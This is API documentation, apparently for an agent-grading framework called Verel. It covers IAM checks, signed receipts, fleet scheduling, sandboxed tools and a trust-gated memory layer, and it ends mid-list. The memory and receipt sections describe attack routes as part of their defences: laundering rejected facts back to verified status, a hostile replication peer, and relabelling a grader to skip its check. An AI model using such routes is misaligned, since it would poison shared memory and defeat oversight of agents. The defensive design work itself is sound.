Pre-apply graders (Captures A/B) read what a change intends. This reads what the cloud actually grants — closing the gap that makes IAM problems surface "only when something goes wrong". It shells out to the cloud's own analyzers (AWS IAM Access Analyzer + policy simulator, GCP Policy/asset IAM analysis, Azure role assignments) with creds resolved from ~/.config (see cloudcreds), and maps their findings onto the verdict bus as GraderKind.IAM issues.

NOTE — this is NOT a pure offline gate: it needs cloud READ credentials, and provider calls can't be sandboxed. The parsers are pure (offline-tested); the verifier's runner is injected. Fail closed: no creds, or a CLI error, ⇒ an errored Report, never a silent pass.

EffectiveAccessVerifier

aws_simulate_principal
aws_simulate_principal(principal_arn: str, actions: list[str], creds: CloudCreds) -> Report

The TRUE effective-access check for AWS — aws iam simulate-principal-policy asks the account what principal_arn is ACTUALLY allowed to do (across all attached/inline/boundary/SCP policies), not what one document says. This is the "verify against reality" path; validate- policy (above) is only a static lint of a local document (round-7 R7-1). Fail closed on no creds / CLI error / empty output.

parse_aws_validate_policy

parse_aws_validate_policy(out: str, err: str = '') -> list[Issue]

aws accessanalyzer validate-policy: {"findings":[{findingType,issueCode,findingDetails}]}. ERROR + SECURITY_WARNING gate; WARNING advises; SUGGESTION informs.

parse_aws_simulate

parse_aws_simulate(out: str, err: str = '', sensitive: set[str] | None = None) -> list[Issue]

aws iam simulate-principal-policy: {"EvaluationResults":[{EvalActionName,EvalDecision, EvalResourceName}]}. An effectively-ALLOWED sensitive action is a gating finding.

parse_gcp_analyze_iam

parse_gcp_analyze_iam(out: str, err: str = '') -> list[Issue]

gcloud asset analyze-iam-policy --format=json: {"mainAnalysis":{"analysisResults":[{"iamBinding": {"role","members":[...]}}]}} (also tolerates a top-level analysisResults). Admin roles or public members gate.

parse_az_role_assignments

parse_az_role_assignments(out: str, err: str = '') -> list[Issue]

az role assignment list --all -o json: [{principalName,roleDefinitionName,scope}]. Admin roles at a subscription/management-group scope gate.

Cloud credential resolution

cloudcreds

Cloud credential resolution for the effective-access verifier (IAC-KICKOFF.md Phase 5).

House rule: secrets are external-service creds under ~/.config/, never in a repo. This resolves AWS / GCP / Azure credentials from that layout into the environment a cloud CLI subprocess needs.

Credential VALUES are never logged — CloudCreds.__repr__ shows only env key names and the provenance PATH (safe to put in a receipt). Fail closed: absent/unreadable creds ⇒ available=False ⇒ the verifier returns an errored Report, never a silent pass.

Layout resolved (matches this machine; falls back gracefully elsewhere): AWS ~/.config/AWS/rootkey.csv cols "Access key ID","Secret access key" GCP ~/.config/gcp/.json service_account key (+ ~/.config/gcloud as CLOUDSDK_CONFIG) Azure ~/.azure/ az CLI config dir (AZURE_CONFIG_DIR) (+ ~/.config/Azure/key)

Receipts & attestation

Sign and verify run-receipts; the two-tier (hmac-sha256 / ed25519) signing and the trusted-key resolution that makes a verdict publicly re-checkable.

attest

Gate-level attestation (§4) — wrap the per-grader RunReceipts a stage produced into ONE verifiable GateReceipt, and verify it.

This is the artifact the gate MCP tool hands back to an agent (and that verel verify can check): the receipt every other party uses to confirm the verdict was real. Integrity comes from two places — a fingerprint that recomputes from the graded outcome (tamper-evident), and the per-grader RunReceipt signatures (which can be ed25519, i.e. publicly verifiable, when verel[attest] is on).

mint_report_receipt

mint_report_receipt(report: Report, *, suite_sha: str, inputs_digest: str, coverage_assertion: str, attest: str = 'auto', runner_identity: str = 'sight-runner') -> RunReceipt

Attach a signed RunReceipt to report, binding its graded outcome. Used by senses (e.g. sight) that produce Reports outside the CI grader path but still need attestation (§4). attest: "hmac" or "ed25519" (publicly verifiable).

build_gate_receipt

build_gate_receipt(verdict: Verdict, reports: list[Report], *, issued_by: str | None = None, attest: str = 'auto', subject: str = '') -> GateReceipt

Assemble the gate-level receipt from a stage's reports (each carrying its signed RunReceipt) and SIGN the envelope (attest: "hmac" in-domain, or "ed25519" publicly verifiable). The envelope signature binds the aggregate verdict + the grader set — the grader receipts alone don't (a real grader receipt could otherwise be paired with a flipped gate verdict). subject binds extra attested context (e.g. a sight percept's image_ref + matches_intent).

fact_commitment

fact_commitment(subject: str, predicate: str, text: str) -> str

A deterministic commitment to a claim's CONTENT (subject|predicate|text — not its scope, which is only where it's filed). This is what a fact attestation binds into its signed subject, so a receipt proves it attests THIS exact claim — closing the trust-laundering gap (an unrelated valid receipt can't promote a different fact). Producer and importer compute it identically.

Uses the FULL 256-bit blake2s digest (not the [:16] dedup truncation): this is a security binding where an attacker would benefit from a second-preimage, so the collision margin must be infeasible (2^128), not the ~2^64 a 64-bit truncation would allow. factclaim domain-tagged + length-prefixed (injective), so no field-boundary collision between subject/predicate/text.

attest_fact

attest_fact(verdict: Verdict, reports: list[Report], *, subject: str, predicate: str, text: str, attest: str = 'ed25519', issued_by: str | None = None) -> GateReceipt

Mint a PORTABLE fact attestation — a signed GateReceipt whose subject commits to the claim, so a DIFFERENT principal can accept it as proof this fact passed a trusted grader. reports are the eval/grader reports the verdict rests on (each carrying its signed RunReceipt).

verify_fact_attestation

verify_fact_attestation(receipt: GateReceipt | dict, subject: str, predicate: str, text: str, *, allowed_algs: set[str] | None = None) -> bool

True iff receipt is a GateReceipt that VERIFIES, attests a PASS verdict, and is bound to THIS exact fact (its signed subject == the fact commitment). The basis for a cross-principal verified tier: trust travels only via a trusted grader's signature over this specific claim — never the caller's say-so, and never an unrelated receipt. Pass allowed_algs={"ed25519"} to require public verifiability (no shared secret), as a cross-principal importer must.

verify_gate_receipt

verify_gate_receipt(receipt: GateReceipt, *, allowed_algs: set[str] | None = None) -> GateReceiptVerification

Verify a gate-level receipt with NO trust in its producer. Fails closed in layers: 1. the ENVELOPE signature must verify (binds verdict + fingerprint + identity) — this is what makes the aggregate verdict unforgeable; 2. the fingerprint must recompute from the grader lines; 3. every PRECISE grader (precise determined by KIND, never the receipt's self-declared flag — else an attacker relabels a grader advisory to skip its check) must carry a RunReceipt whose signature verifies. public_verifiable is True only when the envelope AND all precise receipts verified as ed25519.

keys

ed25519 keys for publicly-verifiable receipts (substrate §11).

Two-tier signing: HMAC-SHA256 stays the default within a trust domain (see gate.sign_receipt); ed25519 adds public verifiability across domains — a second party verifies a receipt offline with only the producer's PUBLIC key, no shared secret.

Trust is pinning, never TOFU. A valid ed25519 signature is necessary but NOT sufficient: the receipt's key_id MUST resolve in the verifier's trusted set — the runner's own key (zero-config local roundtrip) or a published key under ~/.config/verel/trusted_keys/<key_id>.pub. An attacker-minted receipt is cryptographically self-consistent but rejected because its key is untrusted.

PyNaCl is an OPTIONAL dependency (pip install verel[attest]). With it absent, ed25519 verification fails CLOSED (the gate FAILs; the verify verb surfaces an install hint) — never silent green.

MissingAttestationDep

Bases: RuntimeError

Raised when an ed25519 operation is attempted without PyNaCl installed.

available

available() -> bool

True iff ed25519 (PyNaCl) is installed — i.e. receipts can be minted publicly verifiable.

key_id_for

key_id_for(public_key: bytes) -> str

Stable short identity of a public key: first 16 chars of urlsafe-b64(sha256(pubkey)).

resolve_trusted_key

resolve_trusted_key(key_id: str) -> VerifyKey | None

Return the VerifyKey for key_id IFF it is trusted: the runner's own key, or a published <key_id>.pub in the trusted dir. Returns None for any untrusted/unknown key — the gate then fails closed. The stored pubkey must itself hash back to key_id, so a mis-named file cannot grant trust for a different key.

ed25519_verify

ed25519_verify(receipt) -> bool

Verify an ed25519 receipt under the pinning trust model. False on ANY failure (fail closed). Raises MissingAttestationDep only when PyNaCl is absent — the caller decides how to surface that.

attest_self

attest_self(receipt) -> None

Stamp receipt with the local runner's ed25519 identity + inline pubkey, then sign it. Mutates in place: sets alg, runner_identity, public_key, signature.

Receipt kind — two-tier model (ReceiptKind)

GateReceipt carries a receipt_kind field (bound into the signature — flipping it invalidates the HMAC):

Value Meaning
COMMITTED (default) Irreversible actions. Synchronously blocking — nothing advances until the receipt is durably written. Non-revocable.
OPTIMISTIC Advisory / read-only / idempotent actions. Signed asynchronously; revocable if a later grader contradicts it.
from verel.verdict import ReceiptKind
receipt = build_gate_receipt(verdict, reports)
assert receipt.receipt_kind == ReceiptKind.COMMITTED  # default — safe for destructive actions

Crash-atomic receipt store (ReceiptStore)

ReceiptStore persists receipts to disk with two invariants:

  • WAL before grading (DC-01): begin(action_id) writes a pending entry atomically before any grader runs. A crash between begin() and commit() leaves the WAL in place; check_pending() surfaces the gap.
  • Hash-chain (DC-02): commit() writes via os.replace() (atomic rename) and chains each receipt to its predecessor with prev_hash = SHA-256(prev_receipt). verify_chain() walks the store and detects any tampered or missing link.
from verel.verdict import ReceiptStore

store = ReceiptStore()          # defaults to QUINE_RECEIPT_STORE or ~/.local/share/quine/receipts
store.begin("action-42")        # WAL written — grading starts
receipt = gate(reports)         # grader executes
h = store.commit(receipt, "action-42")   # atomic write, WAL cleared
ok, reason = store.verify_chain()        # confirm chain is intact

store

Crash-atomic, hash-chained receipt store for QuineOS (DC-01 + DC-02).

Design invariants enforced here

DC-01 WAL before grading: begin() writes a pending entry BEFORE any grader runs. A crash between grader completion and receipt commit leaves the WAL in place — check_pending() surfaces this so the caller knows the grading window is unverified. commit() writes the receipt atomically via os.replace (rename(2) on POSIX, atomic on the same filesystem) so a crash during the write either produces the complete receipt or nothing; there is no partial-write state. DC-02 Hash-chain: each committed receipt envelope records the SHA-256 of its predecessor (prev_hash). The HEAD file tracks the latest hash. verify_chain() walks the store and confirms every link is intact — a missing or altered receipt breaks the chain.

The store is NOT a database. It is a WORM (write-once-read-many) audit log. Once committed, a receipt must not be modified or deleted. verify_chain() detects tampering.

Thread safety: os.replace is atomic on POSIX for same-filesystem renames. The HEAD file uses the same pattern. Concurrent writers from different processes are safe as long as they hold the WAL for distinct action_ids (the WAL path encodes the PID). Multi-writer chain ordering is best-effort; the chain is still tamper-evident, just not strictly serialised across processes.

ReceiptStore

Crash-atomic, hash-chained receipt store.

Typical usage::

store = ReceiptStore()
store.begin(action_id)          # WAL written — grading starts
receipt = grader.run(...)       # grader executes
h = store.commit(receipt, action_id)  # receipt written atomically, WAL cleared
assert store.check_pending() is None  # clean
begin
begin(action_id: str) -> None

Write WAL entry BEFORE any grader runs (DC-01).

If the process crashes after begin() but before commit(), check_pending() will return this action_id so the caller knows the grading result is unverified.

commit
commit(receipt: GateReceipt, action_id: str) -> str

Atomically write receipt to the store, chained to the previous receipt (DC-01 + DC-02).

Returns the SHA-256 hex digest of this receipt envelope (the new HEAD). Clears the WAL for this action_id on success.

check_pending
check_pending() -> str | None

Return the action_id of any interrupted (WAL-without-receipt) grading, or None.

A non-None return means a grading window is unverified: the process that called begin() crashed before commit(). The caller should surface this as an unverified gap.

iter_receipts
iter_receipts() -> Iterator[dict]

Yield all committed receipt envelopes in the store, in arbitrary order.

verify_chain
verify_chain() -> tuple[bool, str]

Walk every committed receipt and verify the prev_hash chain is intact.

Returns (True, "ok") if the chain is unbroken, or (False, reason) if any link is broken or any receipt's stated prev_hash doesn't match the prior receipt's receipt_hash.

Fleet — agents managing agents

Fan a goal out into independent subtasks, run workers in isolated git worktrees under a single-writer scheduler, fence stale leaders with leases, and commit cross-repo work as an atomic saga.

fleet

Verel fleet — agents managing agents (§6).

v1-cut control plane: roles + retry + heartbeat, single-writer scheduler over a Task DAG with barriers/budget/WAL-resume, manager fan-out with plane validation, and a worker adapter that gates every node through the verdict bus. Worker fencing + git fencing sink are v3.

ControlPlaneServer

A threaded HTTP front-end for a durable SqliteLeaseStore. start() binds and serves in a background thread; url is the base address; stop() shuts it down.

RemoteLeaseStore

A LeaseStore over HTTP — points the scheduler at a ControlPlaneServer. The now args in the Protocol are accepted but ignored: the server is the clock authority.

FencingError

Bases: RuntimeError

A write was attempted with a stale (non-current) fencing token.

InMemoryLeaseStore

Single-process fencing store — correct for many schedulers in one process, and the test vehicle. Per-key: the highest token ever issued, the active lease, and any terminal outcome.

holder
holder(key: str, *, now: float) -> str | None

The owner of the live lease on key, or None if none is held / it has expired.

SqliteLeaseStore

Cross-process fencing store. Acquisition is a single BEGIN IMMEDIATE transaction so two processes cannot both take the same expired lease. Same fencing semantics as the in-memory store; pass a file path shared by every manager.

CrossDep dataclass

dependent (in to_repo) waits on needs (in from_repo) under barrier.

Scheduler

BudgetLease

Bases: BaseModel

Per-run budget. The scheduler enforces it as a HARD ceiling (§6.5).

WorktreeManager

Creates/removes isolated worktrees of repo_root under .verel/wt/<task-id>.

acquire_lease
acquire_lease(task_id: str) -> None

Exclusive advisory lock. O_CREAT|O_EXCL is atomic on POSIX, so two workers cannot both hold the same task's lease (the single-writer split-brain guard).

enable_push_options

enable_push_options(repo_git_dir: str | Path) -> None

A fenced push sends its token as a push option, which a remote only relays to the hook when receive.advertisePushOptions is on. Set it on the bare remote (idempotent).

push_options

push_options(resource: str, token: int) -> list[str]

The -o args a fenced push must carry: git push -o verel-resource=R -o verel-token=N.

render_pre_receive_hook

render_pre_receive_hook(db_path: str | Path, *, python: str | None = None) -> str

The pre-receive hook script that fences pushes against the sqlite lease store at db_path.

validate_push

validate_push(store: LeaseStore, resource: str, token: int) -> FenceDecision

Accept iff token IS the current (highest-issued) token for resource. A stale leader's token is below the current one (a successor took over and bumped it); an unknown resource has no issued token (current 0); a token above current was never issued — all rejected.

write_pre_receive_hook

write_pre_receive_hook(repo_git_dir: str | Path, db_path: str | Path, *, python: str | None = None) -> Path

Install the hook into <repo_git_dir>/hooks/pre-receive (the bare-remote hooks dir), make it executable, and enable push options on the remote. Returns the hook path.

decide_fanout

decide_fanout(goal: str, *, artifacts: list[str] | None = None, context: str = '', chat: ChatFn | None = None, max_subtasks: int = 8) -> FanOut

Ask the manager agent to decompose goal. Always returns a VALID, clamped FanOut: the model proposes, the plane disposes; invalid output falls back to the deterministic one-worker-per-artifact plan.

plan_over_artifacts

plan_over_artifacts(goal: str, artifacts: list[str], *, concurrency_cap: int = 4) -> FanOut

Deterministic manager: one independent worker subtask per artifact (the common 'fix every page in the design system' fan-out). LLM-driven planning is the v2 upgrade behind the same FanOut contract.

validate_fanout

validate_fanout(fo: FanOut) -> tuple[bool, str]

Return (ok, reason). Enforces independence + acyclicity + sane caps.

plan_multi_repo

plan_multi_repo(repos: dict[str, list[Task]], cross_deps: list[CrossDep]) -> list[Task]

Combine per-repo task lists into one namespaced, cross-linked DAG (validated acyclic).

repos: {repo_name: [tasks]} — task ids are local to their repo. cross_deps: edges that cross repos. Returns the unified task list; run it under a single Scheduler.

repo_of

repo_of(task: Task) -> str

The repo a namespaced task belongs to (prefers the explicit field, falls back to the id).

git_revert_head

git_revert_head(repo: str) -> str

Compensate a commit by REVERTING it (a new inverse commit, never a history rewrite). Returns the revert commit sha. Raises on failure so the saga records it.

run_saga

run_saga(steps: list[SagaStep]) -> SagaResult

Run forward actions in order. On the first failure, compensate every already-committed step in REVERSE order and skip the rest — the whole change is all-or-nothing. A compensation that itself fails is reported (failed) but does not stop the other compensations.

ultracode_worker

ultracode_worker(*, backend: str = 'local', ledger=None, fix=None, log_dir='./.verel/fleet')

Build a WorkerFn for the Scheduler. ledger (optional) shares failure-memory across the fleet so one worker's lesson can gate another's regression.

worktree_ultracode_worker

worktree_ultracode_worker(mgr: WorktreeManager, *, seed: Callable[[Worktree, Task], str], backend: str = 'local', ledger=None, fix=None, commit: bool = True)

A worker that runs the ultracode loop inside an ISOLATED git worktree (§6.1, §6.3).

seed(worktree, task) materializes the task's starting artifact inside the worktree and returns its path. On PASS the fix is committed on the worktree's own branch; the worktree (and its advisory lease) is always released. Parallel workers can't stomp each other.

Tool-smith — agents build their own tools

Detect → scaffold → test → register a tool, admitted only on a passing held-out eval and then run sandboxed under a learned capability jail.

toolsmith

Verel tool-smith — agents building their own tools (§7.6).

detect → scaffold → test → register → reuse. Tools live in procedural memory (SKILL records) behind the same MemoryView, gated by the same attested eval discipline as facts/skills: verified-and-auto for read-only/idempotent tools, human-review-gated for destructive ones.

ToolRegistry

Procedural memory over a MemoryView. Tools are SKILL records; reuse via recall.

best_runner

best_runner()

Return the strongest available tool runner: container (bwrap) else rlimit subprocess. The subprocess fallback has NO network/seccomp isolation, so the downgrade is warned, not silent — do not run untrusted/remote code through it (the MCP path requires the container tier outright).

run_container

run_container(tool: ToolRecord, args=None, kwargs=None, *, timeout_s: float = 5.0, cpu_s: int = 3, mem_bytes: int = 256 * 1024 * 1024, seccomp: bool = True, seccomp_profile: str = PROFILE_DENYLIST, seccomp_allow=None, require_seccomp: bool = False)

Execute tool inside a bwrap namespace sandbox (no net, read-only fs, ephemeral tmp), and — when seccomp is requested and a libseccomp binding is present — under a seccomp-bpf filter applied to the sandboxed process. seccomp_profile: * "denylist" (default) — safe for arbitrary tools (deny the dangerous set); * "allowlist" — a strict default-deny jail for untrusted pure-compute code; * "capability" — the tightest: allow only this tool's learned syscall policy. The policy is seccomp_allow if given, else tool.syscall_policy.

load_callable

load_callable(tool: ToolRecord, *, timeout_s: int = 2)

Materialize the tool's function. Verifies the signature first; execs in a restricted namespace with a wall-clock timeout. NOT a production sandbox (see module docstring).

run_sandboxed

run_sandboxed(tool: ToolRecord, args=None, kwargs=None, *, timeout_s: float = 3.0, cpu_s: int = 2, mem_bytes: int = 256 * 1024 * 1024)

Execute tool in an isolated subprocess. Verifies the signature first; returns the function's return value, or raises SandboxError on failure/timeout/limit.

build_bpf

build_bpf(fileobj, *, profile: str = PROFILE_DENYLIST, allow=None) -> int

Compile the profile filter and write the cBPF program (libseccomp's bwrap-compatible export) to fileobj. Returns the number of syscall rules actually installed. Raises if no libseccomp binding is available. allow is the per-tool policy for the capability profile.

capability_allow

capability_allow(policy) -> tuple[str, ...]

The full allow-set enforced for a per-tool policy: the learned syscalls unioned with the bwrap supervisor set and the benign runtime floor. Sorted, de-duplicated.

seccomp_available

seccomp_available() -> bool

True iff a libseccomp python binding is importable, so a filter can be compiled.

learn_syscall_profile

learn_syscall_profile(code: str, name: str, cases: list[ToolCase], *, timeout_s: float = 10.0) -> tuple[str, ...]

Trace code's name function over cases and return the sorted union of syscalls used. Returns () if strace is unavailable (callers should fall back to the allowlist profile).

eval_tool_cases

eval_tool_cases(code: str, name: str, cases: list[ToolCase], *, side_effect: SideEffect = SideEffect.READ_ONLY, sandbox: bool = False, isolation: str | None = None) -> tuple[bool, float, str]

Run code's name function against held-out cases. Shared by the smith and the cross-tenant registry import (§8.7) so transfer is judged the SAME way as local build.

isolation: 'none' (in-process), 'subprocess' (rlimits), 'container' (bwrap), 'best'. sandbox=True is the back-compat alias for isolation='subprocess'.

SECURITY: the default is 'best' (real isolation), NEVER in-process — this function runs LLM-scaffolded and cross-tenant code, and the in-process restricted-builtins guard is trivially escaped. 'none' must be opted into EXPLICITLY (trusted code only, e.g. fast tests).

Integrations & SDK

One gate() callable plus function-calling schemas in OpenAI and Anthropic shape (and a lazy LangChain adapter) — the universal hook that lets any agent grade its own work before "done".

sdk

Agent-SDK shims (the "Reach" track, R3) — one hook into any framework's done-step.

Verel grades artifacts, so the integration is the same everywhere: give the agent a tool that runs the gate and reads the verdict before it declares "done". This module ships the framework-agnostic pieces — a plain gate() callable, the function-calling tool schemas in OpenAI and Anthropic shape, and a dispatcher — so it works with OpenAI Assistants / function calling, the Anthropic SDK, the Claude Agent SDK, LangGraph/LangChain, CrewAI, AutoGen and anything that accepts a Python callable or a tool schema. No heavy SDK is imported here (zero new deps); the docs show the 1-line wiring per framework, and langchain_tools() lazily adapts to LangChain when it's installed.

gate

gate(repo: str = '.', *, criteria: str | None = None, files: list[str] | None = None, lint: bool = True) -> dict

Run the Verel gate on repo and return the verdict the agent should read before "done".

Runs the CI gate (tests + lint + types). If criteria (the ticket / acceptance text) is given, ALSO runs the spec/intent grader and folds it in. Returns {"verdict": pass|warn|fail, "issues": [...], ...} — treat the work as done only on pass.

openai_tools

openai_tools() -> list[dict]

The gate as an OpenAI function-calling tool (also works with most OpenAI-compatible APIs).

anthropic_tools

anthropic_tools() -> list[dict]

The gate as an Anthropic (Claude) tool-use definition.

run_tool_call

run_tool_call(name: str, arguments: str | dict) -> dict

Execute a tool call emitted by any of the schemas above. arguments is the model's JSON (str or already-parsed dict). Unknown tools return an error dict rather than raising.

langchain_tools

langchain_tools() -> list

The gate as a LangChain/LangGraph StructuredTool (lazy — needs langchain_core).

GitHub PR context

Fetch the acceptance text and changed files for a pull request, to feed the spec/intent graders.

github

Pull a PR's context from GitHub — the "ticket" + diff that feed the spec/intent grader (R2).

The spec grader (B) needs two things: the acceptance criteria (the human-written intent — the PR body and any linked issue) and the changed files (what to check against). Both already live in the team's GitHub; this reads them rather than inventing a new SPEC.md. The network call is injectable (fetch) so orchestration is offline-testable; the parsing helpers are pure.

Auth rides an operator-supplied token (VEREL_GITHUB_TOKEN); the HTTP uses the hardened transport opener (ignores ambient proxy env, secure redirects). GitHub Enterprise via api=.

linked_issue_numbers

linked_issue_numbers(pr_body: str) -> list[int]

Issue numbers a PR body closes (so their text counts as acceptance criteria too).

changed_files

changed_files(diff: str, *, suffix: str = '.py') -> list[str]

The files a unified diff touches (the grader's targets). Filtered by suffix; /dev/null (deletions) dropped. Order-preserving, de-duplicated.

acceptance_text

acceptance_text(pr_title: str, pr_body: str, issue_bodies: list[str]) -> str

Assemble the human-written intent the grader reasons over: the PR title/body + each linked issue's body. This is the 'ticket' — never the agent's diff, so the agent can't write the spec to match its own bug.

fetch_pr_context

fetch_pr_context(repo_full_name: str, number: int, *, token: str | None = None, api: str = 'https://api.github.com', cafile: str | None = None, fetch=None) -> dict

Fetch {title, body, diff, criteria, changed_files} for a PR. fetch(path, *, accept) is injectable for testing; by default it GETs GitHub over the transport opener.

Memory

The MemoryView Protocol and the lattice recall/graduation that compounds only verified work.

view

MemoryView — the trust layer Verel owns over a (rentable) memory backend (§5).

Faithful to the design's load-bearing rules: - Two orthogonal quantities, never multiplied into one stored field (§5): * epistemic_confidence — how true we believe it is. Moved ONLY by corroboration(+)/ contradiction(-). Retrieval NEVER touches it. * retrieval_strength — how reachable it is. Power-law decay with disuse; reset+extended by recall (the testing effect). Decay NEVER mutates truth. - Ranking combines the two by a DOCUMENTED rule (rank() below); it does not collapse them. - Prune ONLY when ALL hold: retrieval_strength < 0.15 AND epistemic_confidence < 0.4 AND support_count < 2 AND trust != verified. - subj_pred_key is the interference key: a new value for the same (subject, predicate, scope) supersedes rather than silently duplicating.

MemoryView is a Protocol so the rented backend (mem0) and the bundled zero-dep LocalMemory (sqlite) are interchangeable. Verel's value is THIS layer, not the storage.

canonical_text

canonical_text(s: str) -> str

The shared canonical render of an untrusted value: NFKC-fold, strip zero-width/bidi/object- replacement, collapse controls + every Unicode whitespace run to one space, defang angle brackets, strip. This is EXACTLY what the LLM sees via recall; the trust gate compares on this same form.

canon_value

canon_value(text: str) -> str

Canonicalize a fact VALUE for rejection/identity comparison — canonical_text (matching the renderer byte-for-byte) plus casefold, so case- and invisible-variant restates of a REJECTED value can't diverge the gate from what's actually shown to the LLM (rounds 9/10/11).

rejected_key

rejected_key(text: str) -> str

The BOUNDED key under which a REJECTED value is remembered: canon_value truncated, so the rejected_values ledger entries stay small (detail_json size decoupled from attacker value length, round-12) while the storage and gate sides share ONE function and can't drift. Two values sharing a 200-char canonical prefix collide → both blocked (fail-safe over-block, never a launder).

drop_reserved_detail

drop_reserved_detail(detail: dict) -> dict

Strip the security-critical ledger keys from an UNTRUSTED detail update. The rejected-value ledger is append-only via record_rejection/supersede_detail/guard_replica; a caller must never clear it through a metadata write (round-14/C-2: annotate(rejected_values=[]) then demote then promote laundered a rejected value). Applied at the untrusted wire boundary only — trusted in-process callers (e.g. pg's contradict persisting the ledger) call annotate directly.

guard_replica

guard_replica(existing: MemoryRecord | None, record: MemoryRecord) -> None

Anti-laundering guard for the verbatim-upsert replication primitive apply_replica (round-14/A). apply_replica writes trust + detail AS-IS, bypassing promote(); a hostile replication peer (or any /apply caller) could otherwise upsert a REJECTED value as VERIFIED with an empty ledger. This mutates the incoming record so a replica can NEVER: (1) drop a local rejection — the durable ledger from any record already at this id is UNIONED into the incoming record (and the saturation flag OR'd), never replaced; and (2) resurrect a rejected value — if the incoming value's own key is in the merged ledger it is forced back to REJECTED (a durable tombstone: not recallable, not promotable — downgrading only to CANDIDATE would still surface the lie in recall); and (3) arrive VERIFIED on a SATURATED key — a new (not-individually-rejected) value on a key with too many rejections may exist as a CANDIDATE but can't be verified over the wire. A legitimate replica of a never-rejected value is untouched (empty merged ledger → not blocked).

is_launder_blocked

is_launder_blocked(r: MemoryRecord) -> bool

The SINGLE anti-laundering guard every promotion path must inherit (round-13/C1+C2).

A record must not become VERIFIED if its value was ever REJECTED on this key. True when the record is currently REJECTED, its value's key is in the durable rejected_values ledger, or the ledger has SATURATED (fail-safe overblock). Pushing this into the promote() primitive means every caller — CLI review, MCP verel_remember, the PromotionGate — is guarded, instead of each re-implementing (and some forgetting) the check.

supersede_detail

supersede_detail(existing: MemoryRecord, record: MemoryRecord, *, ts: float) -> None

The CANONICAL supersede bookkeeping, shared by every backend's write() interference path.

Mutates record (the incoming replacement) in place: - appends existing to a BOUNDED correction chain (length- and per-entry-capped, so repeated supersessions of attacker-length values can't inflate detail_json — round-11 Finding B); - resets support/strength (a new value earns its own corroboration); - carries the DURABLE rejected_values ledger forward, adding existing's value when it was REJECTED — so supersede-then-restate can't launder a rejected value back to promotable (round-7 C1). The promotion gate consults this ledger; - stamps VALID-time (bi-temporal): the superseded value's interval closes at ts (recorded in its chain entry), and the incoming value's valid_from opens at ts unless the caller set it.

record_rejection

record_rejection(r: MemoryRecord) -> bool

Append r.text's bounded canonical key to r's rejected_values ledger (in place). Returns True when the ledger changed (caller must persist r). Shared by every backend's contradict → REJECTED transition so the anti-laundering ledger exists on all of them.

relevance

relevance(query: str, record: MemoryRecord) -> float

Lexical token-overlap relevance (shared by all backends; embeddings are the v2 upgrade behind the same interface).

rank

rank(record: MemoryRecord, relevance: float) -> float

The DOCUMENTED ranking rule. Combines the orthogonal signals + relevance + trust tier; it never multiplies confidence into strength or vice-versa. A much more relevant candidate still beats a barely-relevant verified one (relevance dominates) — but at COMPARABLE relevance, verified wins, so a poisoned candidate can't outrank a verified fact.

Two properties make that hold against an attacker who repeats a lie to inflate a CANDIDATE (round-6 H1): (1) a VERIFIED fact does not decay OUT of ranking — its retrieval_strength is floored, because trusted knowledge shouldn't be forgotten beneath a fresh candidate; (2) the trust term is sized to cover the largest recency+confidence swing a candidate can manufacture (W_REC + W_CONF), so raw repetition can't lift a candidate past a verified fact at equal relevance.

is_volatile

is_volatile(r: MemoryRecord) -> bool

Volatile-until-confirmed: not retained unless corroborated/verified.

is_expired

is_expired(r: MemoryRecord, now: float) -> bool

Hard TTL — for ephemeral environment facts (e.g. 'current branch is X').

correction_chain

correction_chain(r: MemoryRecord) -> list[dict]

The history of values this record superseded (newest supersession last).

value_as_of

value_as_of(r: MemoryRecord, t: float) -> MemoryRecord | None

Bi-temporal reconstruction: the version of r's key whose VALID interval contained wall-clock time t — the current value, or a superseded one recovered from the correction chain — or None if the key held no value then. The returned record carries the historical text + that value's [valid_from, valid_to) and confidence, so an as-of recall ranks the value that was actually believed at t, not today's. Pure + backend-agnostic (the chain lives in detail_json).

effective_half_life

effective_half_life(r: MemoryRecord, base_half_life_s: float) -> float

Per-record half-life: the base, stretched by demonstrated usefulness (support_count + epistemic_confidence), capped at HL_MAX_FACTOR×. A one-off weak memory decays at the base rate; a corroborated, believed one persists much longer. Reachability tuning only.

apply_decay

apply_decay(r: MemoryRecord, *, now: float, half_life_s: float, stale_after_s: float, volatile_ttl_s: float) -> bool

Mutate r per the decay policy; return True if it should be pruned/deleted. Shared by every backend so lifecycle behaviour is identical across LocalMemory/mem0.

Conversational memory — extract → grade → budgeted recall

Extract durable facts from a conversation, let only graded facts compound (corroborated or attested — never a one-off say-so), and recall them token-budgeted and verified-first. See Memory backends → Conversational memory.

extract

Conversational fact extraction (MEMORY-EXTRACTION-KICKOFF.md, Phase 1).

Turn a conversation into candidate SPO facts. The novel part is small on purpose: extraction itself is what Mem0/Engram/Honcho do; the moat is that every extracted fact is written as Trust.CANDIDATE and only compounds after the existing held-out / attested promotion gate (promotion/principal.import_belief) makes it Trust.VERIFIED. This module does NOT promote — it only proposes. Phase 2 wires the gate.

House rules honored
  • ChatFn is INJECTED, so the whole module is unit-tested offline with a fake chat (no API key).
  • parse_extracted_facts is PURE over the model's output and fails closed on hostile/garbage JSON — the transcript is untrusted input (a chat turn can try to smuggle a fact), so a bad/oversized payload yields [], never a crash or a partial trusted write.
  • Records are content-addressed (make_key/make_id) and deduped by subj_pred_key, so the same fact across turns collapses to one identity instead of N duplicates.
  • Extracted confidence is NOT trusted: every fact is the prior (epistemic_confidence default), moved only later by corroborate/contradict — a self-reported LLM "confidence" is kept as a hint, not belief.

parse_extracted_facts

parse_extracted_facts(out: str, *, scope: str, now: float = 0.0, source: str = '') -> list[MemoryRecord]

Pure: parse the model's JSON array of {subject,predicate,object} into candidate FACT records, deduped by subj_pred_key. Fails closed (returns []) on non-JSON, a non-array, or deeply-nested/oversized hostile input — never a crash, never a partial trusted write. A secret-looking fact is dropped; source (the conversation's origin) becomes the record's provenance, so the grade gate can require INDEPENDENT corroboration.

extract_facts

extract_facts(transcript: object, *, scope: str, chat: ChatFn, now: float = 0.0, source: str = '') -> list[MemoryRecord]

Extract candidate FACT records from a conversation (string or [{role,content}] turns). The chat callable is injected; offline tests pass a fake one. Returns Trust.CANDIDATE records — the grade gate is what decides which ones become VERIFIED. source identifies the conversation's origin (a session id / principal) and becomes the record's provenance, so the gate can require corroboration from INDEPENDENT sources rather than one author repeating a claim.

remember

The grade gate for conversational memory (MEMORY-EXTRACTION-KICKOFF.md, Phase 2).

This is where the moat lives. Extraction (Phase 1) only proposes Trust.CANDIDATE facts; remember_conversation decides which ones actually compound:

  • a re-stated fact is corroborated (MemoryView.write raises belief + support),
